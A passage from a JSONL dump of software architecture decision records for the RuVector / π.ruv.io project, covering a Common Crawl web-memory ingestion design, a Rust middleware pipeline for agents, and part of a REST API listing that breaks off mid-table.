compression tier\n pub compression_tier: CompressionTier,\n /// Novelty score relative to existing memory (0.0 = duplicate, 1.0 = entirely new)\n pub novelty_score: f32,\n}\n\n/// Temporal compression tiers (ADR-017 alignment)\npub enum CompressionTier {\n /// Full embedding + content stored (high novelty, first seen)\n Full,\n /// Embedding stored, content as delta from nearest neighbor\n DeltaCompressed,\n /// Only centroid contribution stored (near-duplicate)\n CentroidMerged,\n /// Archived \u2014 retrievable from GCS but not in hot memory\n Archived,\n}\n```\n\n#### WebPageDelta (temporal evolution)\n\n```rust\n/// Tracks how a web page changes across crawls\npub struct WebPageDelta {\n pub page_url: String,\n pub previous_memory_id: Uuid,\n pub current_memory_id: Uuid,\n /// Cosine similarity between previous and current embeddings\n pub embedding_drift: f32,\n /// Content diff summary (not raw diff \u2014 structured delta)\n pub content_delta: ContentDelta,\n /// Crawl interval\n pub time_delta: Duration,\n /// Whether this delta crossed a mincut boundary\n pub boundary_crossing: bool,\n}\n\npub enum ContentDelta {\n /// Content unchanged (hash match)\n Unchanged,\n /// Minor update (< 5% token change)\n Minor { changed_tokens: usize, total_tokens: usize },\n /// Major revision (\u2265 5% token change)\n Major { summary: String, changed_tokens: usize },\n /// Complete rewrite (cosine < 0.7)\n Rewrite,\n}\n```\n\n#### LinkEdge (graph construction)\n\n```rust\n/// A directed edge from source page to target page\npub struct LinkEdge {\n pub source_memory_id: Uuid,\n pub target_memory_id: Uuid,\n /// Anchor text embedding (if meaningful anchor text exists)\n pub anchor_embedding: Option<Vec<f32>>,\n /// Link context: surrounding paragraph embedding\n pub context_embedding: Vec<f32>,\n /// Link type classification\n pub link_type: LinkType,\n /// Weight based on semantic relevance of anchor + context\n pub weight: f64,\n}\n\npub enum LinkType {\n /// Informational reference\n Citation,\n /// Navigational (same-site)\n Navigation,\n /// Supporting evidence\n Evidence,\n /// Contradiction or rebuttal\n Contradiction,\n /// Unknown / unclassified\n Unknown,\n}\n```\n\n### 4.3 Ingestion Pipeline\n\n```text\nPhase 1: Fetch\n WARC segment \u2192 HTTP response \u2192 (url, html, headers, timestamp)\n Gates: robots.txt compliance, language filter, size limit (1MB)\n\nPhase 2: Clean\n HTML \u2192 readable text (via readability/trafilatura equivalent)\n Strip: nav, footer, ads, cookie banners, scripts\n Extract: title, main content, outbound links, meta description\n Output: CleanedPage { url, text, links, title, meta }\n\nPhase 3: Deduplicate\n Content hash (SHA3-256 of normalized text)\n Check against content_hash index in store\n If exact match \u2192 skip (or record temporal \"unchanged\" delta)\n If near-match (simhash within 3 bits) \u2192 flag for delta compression\n\nPhase 4: Chunk + Embed\n Split text into 512-token chunks (with 64-token overlap)\n Generate 128-dim embeddings via ruvLLM HashEmbedder\n Optional: local ruvLLM RlmEmbedder for higher quality\n\nPhase 5: Novelty Score\n Compare each chunk embedding against nearest neighbors in HNSW index\n Novelty = 1.0 - max_cosine_similarity(chunk, existing_memories)\n If novelty < 0.05 \u2192 CentroidMerged tier\n If novelty < 0.20 \u2192 DeltaCompressed tier\n Else \u2192 Full tier\n\nPhase 6: Graph Construction\n For each outbound link in CleanedPage:\n Resolve target URL \u2192 target memory_id (if exists)\n Classify link type from anchor text + context\n Create LinkEdge with semantic weight\n\nPhase 7: Proof + Store\n Construct ProofRequirement (Section 2.5)\n Build RVF container (pipeline.rs extension)\n Store WebMemory + LinkEdges + WebPageDeltas\n Update KnowledgeGraph (graph.rs)\n Record witness chain\n```\n\n### 4.4 Midstream Integration\n\nThe existing midstream crate (`crates/mcp-brain-server/src/midstream.rs`) provides three capabilities critical to web memory:\n\n| Midstream Component | Web Memory Application |\n|---|---|\n| `temporal-attractor-studio` (Lyapunov) | Detect which knowledge domains are stable vs. chaotic. Stable domains (negative \u03bb) compress more aggressively. Chaotic domains (positive \u03bb) retain more temporal deltas. |\n| `temporal-neural-solver` (Certified prediction) | Predict future content drift for scheduling recrawl priority. High-confidence stability predictions \u2192 lower crawl frequency. |\n| `strange-loop` (Meta-cognition) | Evaluate query relevance \u00d7 memory quality for web search results. The 5ms budget per query adds meta-cognitive scoring without latency impact. |\n| `nanosecond-scheduler` | Schedule background compaction, recrawl triggers, and temporal delta aggregation with nanosecond precision. |\n\n### 4.5 New API Endpoints\n\n| Method | Path | Description |\n|---|---|---|\n| `POST` | `/v1/web/ingest` | Submit a batch of cleaned pages for ingestion |\n| `GET` | `/v1/web/search` | Semantic search across web memory (extends `/v1/search`) |\n| `GET` | `/v1/web/contradictions` | Find conflicting claims across sources |\n| `GET` | `/v1/web/novelty` | Detect newly emerging knowledge clusters |\n| `GET` | `/v1/web/coherence` | Measure internal consistency of a cluster |\n| `GET` | `/v1/web/evolution` | Temporal delta history for a URL or topic |\n| `GET` | `/v1/web/graph` | Subgraph extraction around a memory or topic |\n| `POST` | `/v1/web/recrawl` | Request recrawl of specific URLs |\n| `GET` | `/v1/web/status` | Web memory statistics and pipeline health |\n| `GET` | `/v1/web/domains` | Domain-level statistics and authority scores |\n\n---\n\n## 5. Compression and Storage Model\n\n### 5.1 Storage Budget\n\n| Item | Per Object | At 10M Objects | At 100M Objects |\n|---|---|---|---|\n| Embedding (128 \u00d7 f32) | 512 B | 4.8 GB | 48 GB |\n| Metadata (JSON compressed) | ~200 B | 1.9 GB | 19 GB |\n| Graph edges (avg 5/page) | ~120 B | 1.1 GB | 11 GB |\n| Temporal deltas (avg 2/page) | ~80 B | 0.7 GB | 7.5 GB |\n| Witness chain | ~82 B | 0.8 GB | 7.8 GB |\n| **Total (hot)** | **~994 B** | **9.3 GB** | **93 GB** |\n\nWith temporal compression at 60% reduction: **3.7 GB for 10M objects** in hot memory.\n\n### 5.2 Tiered Storage\n\n| Tier | Location | Latency | Retention |\n|---|---|---|---|\n| Hot | DashMap (in-memory) | <1ms | Active + high-quality memories |\n| Warm | Firestore | ~10ms | All canonical memories with recent access |\n| Cold | GCS (RVF containers) | ~100ms | Full archive, low-access memories |\n| Frozen | GCS Archive class | ~1s | Historical snapshots, compacted deltas |\n\n### 5.3 Compaction Policy\n\nBackground compaction runs on the nanosecond-scheduler:\n\n1. **Centroid merge**: Near-duplicates (cosine > 0.98) merge into cluster centroids every 6 hours\n2. **Delta collapse**: Sequential minor deltas (< 5% change each) collapse into a single major delta daily\n3. **Tier promotion/demotion**: Access-frequency-based movement between hot/warm/cold every hour\n4. **Archive sweep**: Memories with quality_score < 0.2 after 30 days move to frozen tier\n\n---\n\n## 6. Emergent Capabilities\n\nThe combination of web-scale ingestion, RuVector's graph + temporal + coherence primitives, and the shared memory plane enables capabilities that go beyond conventional search or RAG:\n\n### 6.1 Collective Intelligence for Agent Swarms\n\nAgents contribute patterns, solutions, and observations into the shared substrate. Web memory provides the foundational knowledge layer that agent contributions build upon. Instead of every agent rediscovering known solutions, the web memory serves as a global baseline.\n\n### 6.2 Autonomous Research Engine\n\nContinuous research agents can:\n1. Semantic retrieval across the web corpus\n2. Pattern extraction via Hopfield recall\n3. Contradiction detection via mincut boundaries\n4. New hypothesis storage back into the graph\n\n### 6.3 Knowledge Cartography\n\nRuVector's combination of vectors + graphs + mincut boundaries + coherence scoring enables mapping knowledge topology: emerging research fields, scientific disagreements, technological trends, cross-disciplinary idea clusters.\n\n### 6.4 Truth Verification Infrastructure\n\nClaims stored with supporting sources, semantic similarity, contradiction edges, and confidence scoring enable evidence-backed reasoning. Agents retrieve not only answers but evidence graphs \u2014 aligned with proof-gated mutation (ADR-047).\n\n### 6.5 Knowledge Evolution Tracking\n\nTemporal delta tracking observes how knowledge evolves: consensus formation, misinformation propagation, idea propagation through research communities. The attractor analysis (midstream) identifies stable vs. chaotic knowledge domains.\n\n### 6.6 Structural Search\n\nTraditional search: \"what pages mention this?\"\n\u03c0.ruv.io search: \"what does humanity know about this problem?\"\n\nThe shift from document retrieval to knowledge reasoning is enabled by graph traversal + coherence analysis + temporal context.\n\n---\n\n## 7. Cost Model\n\n### 7.1 Preprocessing (Local)\n\n| Resource | Specification | Cost |\n|---|---|---|\n| Mac Studio M2 Ultra | 192 GB unified memory, 24-core CPU | One-time ($3,999) |\n| Storage (local NVMe) | 2 TB for WARC staging | Included |\n| Power | ~50W average | ~$5/month |\n| **Preprocessing throughput** | **~10K pages/hour (embed + dedupe)** | |\n\n### 7.2 Cloud (Google Cloud)\n\n| Service | Usage | Monthly Cost |\n|---|---|---|\n| Cloud Run (ingest API) | 2 vCPU, 4 GB, always-on | ~$65 |\n| Cloud Run (query API) | Same as existing brain server | ~$65 |\n| Firestore | 10M documents, 100K reads/day | ~$50 |\n| GCS (RVF containers) | 50 GB Standard, 500 GB Archive | ~$15 |\n| Cloud Tasks (job queue) | 1M tasks/month | ~$5 |\n| **Total monthly** | | **~$200** |\n\n### 7.3 Scaling Projection\n\n| Scale | Hot Memory | Monthly Cloud | Preprocessing Time |\n|---|---|---|---|\n| 1M pages | ~370 MB | ~$100 | ~4 days (Mac Studio) |\n| 10M pages | ~3.7 GB | ~$200 | ~6 weeks |\n| 100M pages | ~37 GB | ~$500 | ~14 months |\n| 1B pages | ~370 GB (tiered) | ~$2,000 | Distributed cluster |\n\n---\n\n## 8. Implementation Phases\n\n### Phase 1: Data Model + Types (Week 1-2) \u2014 \u2705 COMPLETE\n\n**Files**: `crates/mcp-brain-server/src/web_memory.rs`, `crates/mcp-brain-server/src/web_store.rs`\n\n- `WebMemory` extends `BrainMemory` with URL, domain, content hash, compression tier, novelty score\n- `WebPageDelta` with `ContentDelta` classification (Unchanged/Minor/Major/Rewrite)\n- `LinkEdge` with anchor/context embeddings, link type, weight clamped to [0,1] (INV-6)\n- `CompressionTier::from_novelty()` deterministic assignment (INV-5)\n- `WebMemoryStore` \u2014 DashMap + Firestore write-through, dedup index, domain stats\n- `WebMemory::to_summary()`, `WebPageDelta::new()` constructors\n- 14 API request/response types, 14 unit tests (serde round-trips, boundary conditions)\n\n### Phase 2: Ingestion Pipeline (Week 3-5) \u2014 \u2705 COMPLETE\n\n**Files**: `crates/mcp-brain-server/src/web_ingest.rs`\n\n- Page validation (URL scheme, text length bounds, title)\n- SHA3-256 content hashing with whitespace/case normalization\n- Character-based chunking (2048 chars \u2248 512 tokens, 256-char overlap, UTF-8 safe)\n- Novelty scoring (1 - max cosine sim) against existing + within-batch memories\n- Within-batch deduplication (hash set prevents duplicate acceptance)\n- Midstream: `attractor_recrawl_priority()` \u2014 Lyapunov-based crawl scheduling\n- Midstream: `solver_drift_prediction()` \u2014 temporal solver drift confidence\n- 18 unit tests (validation, hashing, chunking incl. multi-byte, domain, novelty, attractor)\n\n### Phase 3: Graph Construction (Week 5-7)\n\n**Files**: extend `crates/mcp-brain-server/src/graph.rs`\n\n- Link extraction and resolution\n- LinkEdge creation with semantic weighting\n- Contradiction detection via mincut boundary analysis\n- PPR-ranked graph traversal for web subgraphs\n\n### Phase 4: Temporal Compression (Week 7-9)\n\n**Files**: extend `crates/mcp-brain-server/src/drift.rs`, new `web_temporal.rs`\n\n- WebPageDelta tracking across recrawls\n- Compaction policy implementation on nanosecond-scheduler\n- Centroid merge for near-duplicates\n- Delta collapse for sequential minor changes\n- Tiered storage promotion/demotion\n\n### Phase 5: Query APIs (Week 9-11)\n\n**Files**: extend `crates/mcp-brain-server/src/routes.rs`\n\n- `/v1/web/search` \u2014 semantic + graph-ranked web memory search\n- `/v1/web/contradictions` \u2014 mincut boundary queries\n- `/v1/web/novelty` \u2014 emerging cluster detection\n- `/v1/web/evolution` \u2014 temporal delta history\n- `/v1/web/coherence` \u2014 cluster consistency measurement\n- Midstream scoring integration (attractor + solver + strange loop)\n\n### Phase 6: Local Preprocessing CLI (Week 11-13)\n\n**Files**: `crates/mcp-brain-server/src/preprocess.rs` (new), extend `npm/packages/ruvector/bin/cli.js`\n\n- WARC reader for Common Crawl segments\n- Local HTML cleaning pipeline\n- Batch embedding via ruvLLM\n- Upload to Cloud Ingest API\n- CLI commands: `npx ruvector web ingest`, `npx ruvector web status`\n\n### Phase 7: Hardening + Acceptance (Week 13-14)\n\n- Load testing at 10M objects\n- p95 latency validation (\u226450ms search, \u2264100ms graph)\n- Compression ratio validation (\u226560%)\n- Proof chain integrity audit\n- Cost model validation against projections\n\n---\n\n## 9. Invariants\n\n| ID | Invariant | Enforcement |\n|---|---|---|\n| INV-1 | Every WebMemory has a non-empty provenance chain | `build_rvf_container` requires witness_chain |\n| INV-2 | Content hash is unique per Full-tier memory | SHA3-256 dedup check before store (+ within-batch dedup) |\n| INV-3 | Agent writes are proof-gated | ProofGate<WebMemory> wraps mutation path |\n| INV-4 | Temporal deltas reference valid parent memories | Foreign key check on previous_memory_id |\n| INV-5 | Compression tier assignment matches novelty score | Tier = f(novelty_score) is deterministic |\n| INV-6 | LinkEdge weights are in [0.0, 1.0] | Clamped at construction |\n| INV-7 | Hot memory fits within configured budget | Compaction triggers when hot tier exceeds threshold |\n| INV-8 | Contradiction edges are symmetric | If A contradicts B, B contradicts A |\n\n---\n\n## 10. Security Considerations\n\n### 10.1 Inherited from ADR-059\n\nAll seven security layers from the Shared Brain apply:\n1. Input sanitization (PII strip)\n2. Differential privacy (\u03b5=1.0, \u03b4=1e-5)\n3. Ed25519 signatures\n4. Witness chains (SHAKE-256)\n5. Byzantine-tolerant aggregation\n6. Rate limiting (BudgetTokenBucket)\n7. Reputation-gated writes\n\n### 10.2 Web-Specific Threats\n\n| Threat | Mitigation |\n|---|---|\n| SEO spam injection | Quality gating: novelty < 0.05 + low authority domain \u2192 reject |\n| Link manipulation | PageRank-style authority scoring via ruvector-solver PPR |\n| Content poisoning | Contradiction detection flags conflicting claims for review |\n| Copyright claims | robots.txt compliance; only store embeddings + structured metadata, not raw content |\n| Crawl budget abuse | Rate limiting on ingest API; batch size caps |\n\n---\n\n## 11. Alternatives Considered\n\n### 11.1 Use Common Crawl as LLM Training Data\n\n**Rejected**: Training produces a static model that cannot be queried structurally, lacks provenance, and requires expensive retraining. The retrieval-first approach preserves auditability and supports continuous evolution.\n\n### 11.2 Use a Managed Vector Database (Pinecone, Weaviate)\n\n**Rejected**: External managed services add latency, cost, and vendor lock-in. They lack graph structure, temporal compression, mincut coherence, and proof-gated mutation. RuVector provides all of these natively.\n\n### 11.3 Store Raw HTML in Object Storage\n\n**Rejected**: Raw HTML storage is expensive at scale and provides no semantic structure. The cleaning + embedding + graph construction pipeline is essential for the platform to be useful as a knowledge substrate rather than a web archive.\n\n### 11.4 Build a Separate Ingestion Service\n\n**Rejected**: The ingestion pipeline shares types, embedding infrastructure, graph construction, and proof verification with the existing brain server. A separate service would duplicate these dependencies. Instead, web memory is implemented as an extension module within `mcp-brain-server`.\n\n---\n\n## 12. Future Directions\n\n1. **Developer Platform API**: Expose \u03c0.ruv.io as a shared memory service for any agent framework, not just Claude Code sessions\n2. **Automatic Contradiction Detection**: Use dynamic mincut + coherence scoring to detect contradictions and emerging ideas automatically\n3. **Cognitum Edge Nodes**: Deploy compressed web memory subsets to edge devices (ADR-040) for offline agent reasoning\n4. **RVF Knowledge Export**: Package web memory clusters as RVF cognitive containers (ADR-056) for transfer between deployments\n5. **Cross-Domain Transfer Learning**: Use web memory as a foundation for domain expansion (ADR-068) across specialized agent populations\n\n---\n\n## 13. Acceptance Criteria\n\n| Criterion | Target | Measurement |\n|---|---|---|\n| Ingestion throughput | \u22651K pages/second (cloud batch) | Load test with 100K page batch |\n| Storage compression | \u226560% reduction vs. raw embeddings | Compare raw vs. compressed storage at 1M objects |\n| Search latency (p95) | \u226450ms for semantic search | Benchmark with 10M objects, 100 concurrent queries |\n| Graph traversal (p95) | \u2264100ms for 2-hop subgraph | Benchmark with 10M nodes, 50M edges |\n| Provenance coverage | 100% of objects have witness chains | Audit query: count objects without witness_chain |\n| Contradiction detection | \u226580% precision on labeled test set | Manual evaluation of 500 flagged contradictions |\n| Cost | \u2264$500/month at 10M objects | Monthly billing review |\n| Proof-gate coverage | Zero unprovenanced writes | Audit log analysis |\n\n---\n\n## 14. References\n\n- ADR-017: Temporal Tensor Compression with Tiered Quantization\n- ADR-030: RVF Computational Container\n- ADR-040: Cognitum Swarm\n- ADR-047: Proof-Gated Mutation Protocol\n- ADR-058: MCP Tool Groups\n- ADR-059: Shared Brain \u2014 Google Cloud Deployment\n- ADR-060: Shared Brain Capabilities \u2014 Federated MicroLoRA Intelligence Substrate\n- ADR-077: Midstream Platform Integration\n- ADR-091: INT8 CNN Quantization\n- Common Crawl: https://commoncrawl.org/\n- RuVector compression and temporal tiering architecture\n- Contrastive AI framing and proof-gated mutation principles", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-094-pi-shared-web-memory.md", "created_at": "2026-03-28T11:58:49.941458+00:00", "content_hash": "a472fe677cea88adda72020eac84e8c4c133e37757815f834f5cad1a07f295f1"} +{"id": "721a3224-ee1c-43cc-a8e2-758b780ce70d", "source": "adr", "text": "# ADR-095: Middleware Pipeline Architecture\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crate** | `ruvector-deep-middleware` |\n\n## Context\n\nDeepAgents uses LangChain's `AgentMiddleware[StateT, ContextT, ResponseT]` generic class with these hooks:\n\n1. `before_agent(state, runtime, config) -> StateUpdate | None` \u2014 Pre-execution state injection\n2. `wrap_model_call(request, handler) -> response` \u2014 Model call interception\n3. `awrap_model_call(request, handler) -> response` \u2014 Async model call interception\n4. `modify_request(request) -> request` \u2014 Request transformation\n5. `tools: list[BaseTool]` \u2014 Additional tools injected by middleware\n6. `state_schema` \u2014 State schema extension (via class attribute)\n\nThe default middleware stack order in `create_deep_agent()`:\n\n```\n1. TodoListMiddleware\n2. MemoryMiddleware (if memory configured)\n3. SkillsMiddleware (if skills configured)\n4. FilesystemMiddleware\n5. SubAgentMiddleware\n6. SummarizationMiddleware\n7. AnthropicPromptCachingMiddleware\n8. PatchToolCallsMiddleware\n9. [User middleware...]\n10. HumanInTheLoopMiddleware (if interrupt_on configured)\n```\n\n## Decision\n\n### Core Middleware Trait\n\n```rust\n// crates/ruvector-deep-middleware/src/lib.rs\n\nuse async_trait::async_trait;\n\n/// Agent state \u2014 extensible via middleware state schemas.\npub type AgentState = HashMap<String, serde_json::Value>;\n\n/// Model request wrapping messages and state.\npub struct ModelRequest<C> {\n pub system_message: Option<SystemMessage>,\n pub messages: Vec<Message>,\n pub state: AgentState,\n pub context: C,\n pub tools: Vec<Box<dyn Tool>>,\n}\n\nimpl<C> ModelRequest<C> {\n pub fn override_system(&self, system_message: Option<SystemMessage>) -> Self { ... }\n}\n\n/// Model response from LLM call.\npub struct ModelResponse<R> {\n pub message: Message,\n pub response: R,\n}\n\n/// Runtime context passed to middleware hooks.\npub struct Runtime {\n pub context: serde_json::Value,\n pub stream_writer: Option<Box<dyn StreamWriter>>,\n pub store: Option<Box<dyn Store>>,\n pub config: RunnableConfig,\n}\n\n/// Core middleware trait \u2014 mirrors Python's AgentMiddleware exactly.\n/// Generic over State (S), Context (C), and Response (R).\n#[async_trait]\npub trait Middleware: Send + Sync {\n /// Called before agent execution. Returns state update or None.\n /// Python: before_agent(state, runtime, config)\n fn before_agent(\n &self,\n _state: &AgentState,\n _runtime: &Runtime,\n _config: &RunnableConfig,\n ) -> Option<AgentState> {\n None\n }\n\n /// Async version of before_agent.\n async fn abefore_agent(\n &self,\n state: &AgentState,\n runtime: &Runtime,\n config: &RunnableConfig,\n ) -> Option<AgentState> {\n self.before_agent(state, runtime, config)\n }\n\n /// Wrap a model call \u2014 intercept request/response.\n /// Python: wrap_model_call(request, handler)\n fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> ModelResponse<()>,\n ) -> ModelResponse<()> {\n handler(request)\n }\n\n /// Async wrap model call.\n async fn awrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> BoxFuture<ModelResponse<()>>,\n ) -> ModelResponse<()> {\n handler(request).await\n }\n\n /// Transform request before model call.\n /// Python: modify_request(request)\n fn modify_request(&self, request: ModelRequest<()>) -> ModelRequest<()> {\n request\n }\n\n /// Additional tools provided by this middleware.\n fn tools(&self) -> Vec<Box<dyn Tool>> {\n vec![]\n }\n\n /// State schema extensions (keys this middleware manages).\n fn state_keys(&self) -> Vec<&str> {\n vec![]\n }\n}\n```\n\n### Middleware Pipeline Executor\n\n```rust\n/// Executes the middleware pipeline in order.\n/// Mirrors LangChain's create_agent middleware composition.\npub struct MiddlewarePipeline {\n middlewares: Vec<Box<dyn Middleware>>,\n}\n\nimpl MiddlewarePipeline {\n pub fn new(middlewares: Vec<Box<dyn Middleware>>) -> Self {\n Self { middlewares }\n }\n\n /// Run before_agent hooks in order, accumulating state updates.\n pub async fn run_before_agent(\n &self,\n state: &mut AgentState,\n runtime: &Runtime,\n config: &RunnableConfig,\n ) {\n for mw in &self.middlewares {\n if let Some(update) = mw.abefore_agent(state, runtime, config).await {\n for (k, v) in update {\n state.insert(k, v);\n }\n }\n }\n }\n\n /// Collect all tools from all middlewares.\n pub fn collect_tools(&self) -> Vec<Box<dyn Tool>> {\n self.middlewares.iter().flat_map(|mw| mw.tools()).collect()\n }\n\n /// Chain wrap_model_call handlers (innermost first, outermost wraps).\n pub async fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n base_handler: impl Fn(ModelRequest<()>) -> BoxFuture<ModelResponse<()>>,\n ) -> ModelResponse<()> {\n // Build handler chain from inside out\n let mut handler: Box<dyn Fn(ModelRequest<()>) -> BoxFuture<ModelResponse<()>>> =\n Box::new(base_handler);\n\n for mw in self.middlewares.iter().rev() {\n let prev = handler;\n handler = Box::new(move |req| {\n Box::pin(mw.awrap_model_call(req, &*prev))\n });\n }\n\n handler(request).await\n }\n}\n```\n\n### Concrete Middleware Implementations\n\nEach Python middleware maps 1:1:\n\n| Python Middleware | Rust Struct | Purpose |\n|---|---|---|\n| `TodoListMiddleware` | `TodoListMiddleware` | `write_todos` tool + state |\n| `FilesystemMiddleware` | `FilesystemMiddleware` | File operation tools (ls, read, write, edit, glob, grep, execute) |\n| `SubAgentMiddleware` | `SubAgentMiddleware` | `task` tool for subagent spawning |\n| `SummarizationMiddleware` | `SummarizationMiddleware` | Auto-compact + `compact_conversation` tool |\n| `MemoryMiddleware` | `MemoryMiddleware` | AGENTS.md loading into system prompt |\n| `SkillsMiddleware` | `SkillsMiddleware` | SKILL.md progressive disclosure |\n| `PatchToolCallsMiddleware` | `PatchToolCallsMiddleware` | Dangling tool call repair |\n| `AnthropicPromptCachingMiddleware` | `PromptCachingMiddleware` | Cache control block injection |\n| `HumanInTheLoopMiddleware` | `HumanInTheLoopMiddleware` | Interrupt on specific tools |\n\n### System Message Composition\n\n```rust\n/// Python: append_to_system_message(system_message, text)\n/// Used by Memory, Skills, SubAgent middlewares to inject into system prompt.\npub fn append_to_system_message(\n system_message: &Option<SystemMessage>,\n text: &str,\n) -> Option<SystemMessage> {\n match system_message {\n Some(msg) => Some(SystemMessage {\n content: format!(\"{}\\n\\n{}\", msg.content, text),\n }),\n None => Some(SystemMessage {\n content: text.to_string(),\n }),\n }\n}\n```\n\n### State Schema Extension\n\nPython uses class-level `state_schema` and `PrivateStateAttr` annotations. In Rust:\n\n```rust\n/// Private state attributes (not propagated to parent agents).\n/// Python: Annotated[T, PrivateStateAttr]\npub struct PrivateState<T> {\n inner: T,\n private: bool, // Always true \u2014 excluded from serialization to parent\n}\n\n/// Memory middleware state extension\n/// Python: MemoryState(AgentState) with memory_contents: PrivateStateAttr\npub struct MemoryStateExt {\n pub memory_contents: PrivateState<HashMap<String, String>>,\n}\n\n/// Skills middleware state extension\n/// Python: SkillsState(AgentState) with skills_metadata: PrivateStateAttr\npub struct SkillsStateExt {\n pub skills_metadata: PrivateState<Vec<SkillMetadata>>,\n}\n```\n\n## Default Pipeline Construction\n\n```rust\n/// Python: create_deep_agent() middleware assembly\npub fn build_default_pipeline(config: &DeepAgentConfig) -> MiddlewarePipeline {\n let mut middlewares: Vec<Box<dyn Middleware>> = vec![\n Box::new(TodoListMiddleware::new()),\n ];\n\n if let Some(memory_sources) = &config.memory {\n middlewares.push(Box::new(MemoryMiddleware::new(\n config.backend.clone(),\n memory_sources.clone(),\n )));\n }\n\n if let Some(skill_sources) = &config.skills {\n middlewares.push(Box::new(SkillsMiddleware::new(\n config.backend.clone(),\n skill_sources.clone(),\n )));\n }\n\n middlewares.extend([\n Box::new(FilesystemMiddleware::new(config.backend.clone())),\n Box::new(SubAgentMiddleware::new(config.backend.clone(), config.subagents.clone())),\n Box::new(SummarizationMiddleware::new(config.model.clone(), config.backend.clone())),\n Box::new(PromptCachingMiddleware::new()),\n Box::new(PatchToolCallsMiddleware::new()),\n ]);\n\n middlewares.extend(config.extra_middleware.drain(..));\n\n if let Some(interrupt_on) = &config.interrupt_on {\n middlewares.push(Box::new(HumanInTheLoopMiddleware::new(interrupt_on.clone())));\n }\n\n MiddlewarePipeline::new(middlewares)\n}\n```\n\n## Consequences\n\n- Middleware pipeline is fully type-safe with compile-time guarantees\n- Same ordering semantics as Python (sequential before_agent, nested wrap_model_call)\n- `PrivateState<T>` prevents state leakage to parent agents (same as `PrivateStateAttr`)\n- Tools collected from all middlewares match Python's tool aggregation behavior", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-095-deepagents-middleware-pipeline.md", "created_at": "2026-03-28T11:58:49.941639+00:00", "content_hash": "5e21b92817f39da7df29994ef69c6a129c9bec6fb0674c0a99b81c860f5b9303"} +{"id": "73bb302f-2213-4911-bec0-d7ce3e882a29", "source": "adr", "text": "# ADR-095: \u03c0.ruv.io API v2 \u2014 Full Capability Surface\n\n**Status**: Accepted\n**Date**: 2026-03-15\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: Extends ADR-060 (Shared Brain Capabilities)\n**Related**: ADR-059 (Shared Brain Google Cloud), ADR-060 (Shared Brain Capabilities), ADR-093 (Daily Discovery Training), ADR-094 (Shared Web Memory)\n\n## 1. Context\n\nADR-060 documented 14 endpoints and 11 MCP tools for the initial shared brain. Since then, the live \u03c0.ruv.io deployment has grown significantly \u2014 adding Brainpedia pages, WASM executable nodes, meta-learning exploration, temporal tracking, SONA stats, training preferences, PubMed discovery, and MCP SSE transport with 91 tools. This ADR documents the complete live API surface as of 2026-03-15.\n\n## 2. Live System Status\n\n| Metric | Value |\n|--------|-------|\n| Total memories | 960 |\n| Total contributors | 59 |\n| Total votes | 947 |\n| Graph nodes | 960 |\n| Graph edges | 122,998 |\n| Clusters | 20 |\n| Average quality | 0.582 |\n| LoRA epoch | 2 |\n| Brainpedia pages | 8 (all canonical) |\n| WASM nodes | 0 (ready) |\n| Embedding engine | `ruvllm::RlmEmbedder` (128-dim) |\n| Persistence | Firestore |\n| SONA trajectories | 9 buffered |\n| Meta-learning status | `learning` (early accumulation) |\n| Strange-loop version | 0.3.0 |\n\n## 3. Complete REST API Surface\n\n### 3.1 Infrastructure\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/health` | None | Health check, version, uptime, persistence mode |\n| GET | `/v1/status` | Optional | Comprehensive brain dashboard (memories, contributors, graph, LoRA, SONA, GWT, midstream) |\n\n### 3.2 Authentication & Anti-Replay\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/challenge` | Bearer | Issue replay-protection nonce (UUID, 5-min TTL) |\n\n**Auth model**: `Authorization: Bearer <pi-key>`. Pi keys are 64-char hex (32 bytes random). SHAKE-256 derives a pseudonym from the key. System keys use `BRAIN_SYSTEM_KEY` env var with constant-time comparison.\n\n### 3.3 Memories (Core Knowledge)\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| POST | `/v1/memories` | Bearer + Nonce | Share a memory (category, title, content, tags). Returns ID + witness hash + RVF segment count |\n| GET | `/v1/memories/search?q=&category=&tags=&limit=&min_quality=` | Bearer | Semantic + lexical hybrid search with graph re-ranking |\n| GET | `/v1/memories/list?limit=&offset=` | Bearer | List memories with pagination |\n| GET | `/v1/memories/:id` | Bearer | Get full memory by ID (embedding, witness chain, quality, RVF path) |\n| POST | `/v1/memories/:id/vote` | Bearer | Upvote/downvote (Bayesian BetaParams quality update) |\n| DELETE | `/v1/memories/:id` | Bearer | Delete own memory (contributor-scoped) |\n\n**Valid categories**: `architecture`, `pattern`, `solution`, `convention`, `security`, `performance`, `tooling`, `debug`, `custom`\n\n### 3.4 Brainpedia Pages (NEW \u2014 not in ADR-060)\n\nWiki-style collaborative knowledge objects with lifecycle management.\n\n| Method | Path | Auth | Description |\n|--------|------|------|-------------|\n| GET | `/v1/pages` | Bearer | List all pages with quality scores and status |\n| POST | `/v1/pages` | Bearer | Create a new page (category, title, content, tags, evidence_links) |\n| GET | `/v1/pages/:id` | Bearer | Get page by ID |\n| POST | `/v1/pages/:id/deltas` | Bearer | Submit content delta (delta_type, content_diff, evidence_links) |\n| GET | `/v1/pages/:id/deltas` | Bearer | List all deltas for a page |\n| POST | `/v1/pages/:id/evidence` | Bearer | Attach evidence to a page |\n| POST | `/v1/pages/:id/promote` | Bearer | Promote page status (draft \u2192 published \u2192 canonical) |\n\n**Page lifecycle**: `draft` \u2192 `published` \u2192 `canonical`\n\n**Current pages** (8 canonical, avg quality 0.89):\n1. SONA Three-Tier Learning Architecture\n2. Graph Neural Network Knowledge Topology\n3. Federated Learning with Byzantine Tolerance\n4. SPARC Development Methodology\n5. MCP Integration for Claude Code\n6. Edge Network Architecture\n7. Hybrid Search Algorithm\n8. Cryptographic Witness Chains\n\n### 3.5 WASM Executable Nodes (NEW \u2014 not in ADR-060)\n\nVerified compute modules that agents can publish and execute at the edge.\n\n| Method | 